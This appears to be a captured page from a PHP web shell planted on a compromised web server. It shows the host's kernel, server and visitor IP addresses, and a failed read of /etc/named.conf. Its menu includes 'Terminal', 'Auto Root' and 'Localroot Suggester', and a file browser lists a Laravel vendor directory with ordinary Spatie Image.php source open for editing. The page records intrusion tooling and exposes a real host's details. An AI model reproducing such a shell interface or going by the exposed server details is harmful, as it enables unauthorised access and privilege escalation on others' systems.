Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 18.227.140.134
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
unp /
vendor /
spatie /
image-optimizer /
src /
Delete
Unzip
Name
Size
Permission
Date
Action
Optimizers
[ DIR ]
drwxr-xr-x
2021-04-22 09:00
DummyLogger.php
764
B
-rw-r--r--
2021-04-22 09:00
Image.php
716
B
-rw-r--r--
2021-04-22 09:00
Optimizer.php
943
B
-rw-r--r--
2021-04-22 09:00
OptimizerChain.php
2.53
KB
-rw-r--r--
2021-04-22 09:00
OptimizerChainFactory.php
1.48
KB
-rw-r--r--
2021-04-22 09:00
Save
Rename
<?php namespace Spatie\ImageOptimizer; use InvalidArgumentException; class Image { protected $pathToImage = ''; public function __construct(string $pathToImage) { if (! file_exists($pathToImage)) { throw new InvalidArgumentException("`{$pathToImage}` does not exist"); } $this->pathToImage = $pathToImage; } public function mime(): string { return mime_content_type($this->pathToImage); } public function path(): string { return $this->pathToImage; } public function extension(): string { $extension = pathinfo($this->pathToImage, PATHINFO_EXTENSION); return strtolower($extension); } }